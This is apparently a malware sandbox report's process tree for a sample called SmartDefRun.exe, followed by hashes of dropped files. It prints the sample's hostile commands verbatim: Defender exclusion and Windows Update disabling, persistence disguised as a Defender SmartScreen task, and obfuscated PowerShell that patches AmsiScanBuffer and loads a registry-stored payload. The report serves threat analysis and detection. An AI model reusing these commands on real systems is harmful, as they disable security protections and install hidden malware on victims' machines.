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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:980
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-
-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 1243⤵
- Program crash
PID:1972
-
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1548
-
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3196 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:4924
-
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:2996
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:744
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:4556
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4012
-
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:3136
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:4364
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:5036
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1780
-
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:4980
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:400
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:2460
-
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2680
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2664
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2640
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵PID:2624
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2580
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2572
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2436
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2400
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2148
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2052
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1680
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1988
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1980
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1948
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1912
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1900
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1784
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1736
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1640
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1620
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1612
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1564
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1448
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1416
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1392
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1264
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1184
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1140
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:OyqmWoPuTUso{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$bzSmtscrrAcoCt,[Parameter(Position=1)][Type]$peRbTkFXWx)$bYDSHgYiTtO=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+[Char](100)+''+'D'+''+'e'+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+'e'+''+'m'+'o'+[Char](114)+'y'+'M'+''+'o'+'du'+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+'gat'+'e'+''+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'',''+'C'+'l'+'a'+''+'s'+''+'s'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+','+'S'+''+'e'+''+'a'+''+[Char](108)+'e'+[Char](100)+''+','+'A'+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+''+'o'+''+[Char](67)+'l'+[Char](97)+'s'+'s'+'',[MulticastDelegate]);$bYDSHgYiTtO.DefineConstructor(''+[Char](82)+''+'T'+'S'+'p'+''+'e'+''+[Char](99)+''+[Char](105)+''+'a'+'l'+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+'e'+''+'B'+''+[Char](121)+'S'+'i'+'g'+','+''+[Char](80)+'u'+'b'+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$bzSmtscrrAcoCt).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+''+'i'+''+'m'+'e'+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$bYDSHgYiTtO.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+'ke',''+'P'+''+[Char](117)+'bli'+[Char](99)+''+[Char](44)+''+'H'+''+[Char](105)+'d'+'e'+''+'B'+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+','+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+'o'+[Char](116)+','+[Char](86)+'i'+'r'+'t'+[Char](117)+'al',$peRbTkFXWx,$bzSmtscrrAcoCt).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+'Ma'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $bYDSHgYiTtO.CreateType();}$YcjFChDRTXEOa=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+'l'+[Char](108)+'')}).GetType('M'+'i'+'cr'+[Char](111)+''+[Char](115)+''+'o'+'ft'+[Char](46)+'W'+'i'+''+'n'+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+'a'+''+'f'+''+'e'+'Y'+'c'+''+[Char](106)+''+[Char](70)+'C'+'h'+''+[Char](68)+''+'R'+''+[Char](84)+'X'+[Char](69)+''+[Char](79)+''+[Char](97)+'');$lAZvRkLHFQauAM=$YcjFChDRTXEOa.GetMethod('l'+[Char](65)+''+[Char](90)+'v'+[Char](82)+''+'k'+''+[Char](76)+''+[Char](72)+''+'F'+'Q'+[Char](97)+''+[Char](117)+'A'+'M'+'',[Reflection.BindingFlags]''+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c'+','+''+[Char](83)+''+[Char](116)+''+'a'+''+'t'+'i'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$kyhCCoXdrirgeigiZhu=OyqmWoPuTUso @([String])([IntPtr]);$oqMmwtfXxNrOFkCirwmMbb=OyqmWoPuTUso @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$HAKJiKFQUka=$YcjFChDRTXEOa.GetMethod(''+[Char](71)+'et'+[Char](77)+''+'o'+'dule'+'H'+''+'a'+''+'n'+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+'n'+''+'e'+''+[Char](108)+''+'3'+''+'2'+'.d'+[Char](108)+''+[Char](108)+'')));$qKsBbojQxGiuZD=$lAZvRkLHFQauAM.Invoke($Null,@([Object]$HAKJiKFQUka,[Object](''+'L'+'o'+[Char](97)+''+[Char](100)+''+'L'+''+[Char](105)+''+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$sEfkTBbYYbzPOnwzW=$lAZvRkLHFQauAM.Invoke($Null,@([Object]$HAKJiKFQUka,[Object](''+[Char](86)+'ir'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+'t'+[Char](101)+'c'+'t'+'')));$cmAyEHv=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qKsBbojQxGiuZD,$kyhCCoXdrirgeigiZhu).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'');$qZJbZGPtkXKlLZquy=$lAZvRkLHFQauAM.Invoke($Null,@([Object]$cmAyEHv,[Object]('Am'+'s'+'iS'+[Char](99)+'a'+'n'+''+[Char](66)+''+'u'+''+[Char](102)+'fe'+'r'+'')));$FJFpWwPfFK=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sEfkTBbYYbzPOnwzW,$oqMmwtfXxNrOFkCirwmMbb).Invoke($qZJbZGPtkXKlLZquy,[uint32]8,4,[ref]$FJFpWwPfFK);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$qZJbZGPtkXKlLZquy,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sEfkTBbYYbzPOnwzW,$oqMmwtfXxNrOFkCirwmMbb).Invoke($qZJbZGPtkXKlLZquy,[uint32]8,0x20,[ref]$FJFpWwPfFK);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+''+[Char](108)+'e'+[Char](114)+''+'s'+''+'t'+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2280 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:5100
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ICoqSoNQqNUV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$VguqZNYpQWNtne,[Parameter(Position=1)][Type]$uFdaIVAHpS)$DOsRgBkuLPJ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+'d'+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'Me'+[Char](109)+'or'+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+'y'+'D'+''+[Char](101)+''+'l'+'eg'+[Char](97)+'teT'+'y'+'p'+[Char](101)+'','C'+[Char](108)+''+'a'+''+'s'+'s,Pub'+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+'ed'+[Char](44)+'An'+[Char](115)+''+[Char](105)+'C'+'l'+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+'A'+'u'+''+[Char](116)+''+[Char](111)+'C'+[Char](108)+'a'+'s'+''+'s'+'',[MulticastDelegate]);$DOsRgBkuLPJ.DefineConstructor(''+'R'+''+[Char](84)+'S'+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+'a'+[Char](109)+''+'e'+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+'Si'+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$VguqZNYpQWNtne).SetImplementationFlags('R'+'u'+''+'n'+'t'+[Char](105)+''+[Char](109)+'e,'+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');$DOsRgBkuLPJ.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+'o'+'k'+'e'+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+'li'+'c'+''+[Char](44)+''+'H'+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+'Ne'+[Char](119)+''+[Char](83)+'l'+[Char](111)+''+'t'+''+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+'l',$uFdaIVAHpS,$VguqZNYpQWNtne).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+','+'M'+[Char](97)+''+[Char](110)+'a'+'g'+''+'e'+'d');Write-Output $DOsRgBkuLPJ.CreateType();}$UzWuRdeIjWwLx=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+'r'+'o'+[Char](115)+'o'+[Char](102)+''+'t'+''+[Char](46)+'W'+[Char](105)+'n'+'3'+''+[Char](50)+''+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+''+[Char](101)+'U'+'z'+''+[Char](87)+''+'u'+''+[Char](82)+''+[Char](100)+'e'+[Char](73)+'j'+'W'+''+[Char](119)+''+[Char](76)+''+'x'+'');$WmmNJKVhNtPpyD=$UzWuRdeIjWwLx.GetMethod(''+[Char](87)+'m'+[Char](109)+''+[Char](78)+''+'J'+''+[Char](75)+''+[Char](86)+''+[Char](104)+''+'N'+'tP'+[Char](112)+'y'+[Char](68)+'',[Reflection.BindingFlags]''+'P'+''+'u'+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'St'+[Char](97)+''+'t'+''+'i'+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$sPUeoSZmKELQgfLhdsS=ICoqSoNQqNUV @([String])([IntPtr]);$FhLlkGGTQAAEupLVmyANTD=ICoqSoNQqNUV @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$vfinlPzNfYm=$UzWuRdeIjWwLx.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+'M'+[Char](111)+''+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'H'+'a'+''+'n'+''+'d'+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+'l')));$CBbnYpngWQnbEi=$WmmNJKVhNtPpyD.Invoke($Null,@([Object]$vfinlPzNfYm,[Object](''+'L'+'o'+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+'A'+'')));$sKADtQXedhJwdrjlR=$WmmNJKVhNtPpyD.Invoke($Null,@([Object]$vfinlPzNfYm,[Object](''+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+'lP'+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+'c'+'t'+'')));$zKrgnnC=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CBbnYpngWQnbEi,$sPUeoSZmKELQgfLhdsS).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+[Char](105)+''+'.'+'dl'+[Char](108)+'');$OZtMjqFNhgyoSRmBi=$WmmNJKVhNtPpyD.Invoke($Null,@([Object]$zKrgnnC,[Object](''+'A'+''+'m'+''+[Char](115)+''+[Char](105)+'S'+[Char](99)+''+'a'+'n'+'B'+''+[Char](117)+''+[Char](102)+'f'+'e'+''+[Char](114)+'')));$CBzVpeZAIo=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sKADtQXedhJwdrjlR,$FhLlkGGTQAAEupLVmyANTD).Invoke($OZtMjqFNhgyoSRmBi,[uint32]8,4,[ref]$CBzVpeZAIo);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$OZtMjqFNhgyoSRmBi,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sKADtQXedhJwdrjlR,$FhLlkGGTQAAEupLVmyANTD).Invoke($OZtMjqFNhgyoSRmBi,[uint32]8,0x20,[ref]$CBzVpeZAIo);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+'E'+'').GetValue('d'+'i'+''+'a'+''+[Char](108)+''+'e'+'r'+'s'+''+'t'+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1704 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1760
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:940
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:888
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:748
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:944
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:664
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:612
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{7306a568-9b34-46a1-b028-f3365118335f}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2024
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:5000
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1628 -ip 16282⤵PID:4980
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4220 -ip 42202⤵PID:4348
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:4320
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
19KB
MD50748b331311c20a6f2cf229126f0d65e
SHA1f2ca122681f4fb8061f2374d13f51d0f4d066ef4
SHA2563d31b3bffec855a28ebf5dc8c9901d4b81a293dcce11ac987dbc38519696b271
SHA5126579853ded2af72f176eb97b1b9135cb86d7c790aea16d6097afa45d701eb89c557c7561f6eca48b17fb0463f136fe377854f6eae78877b6e8fc062b10835f15
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Filesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5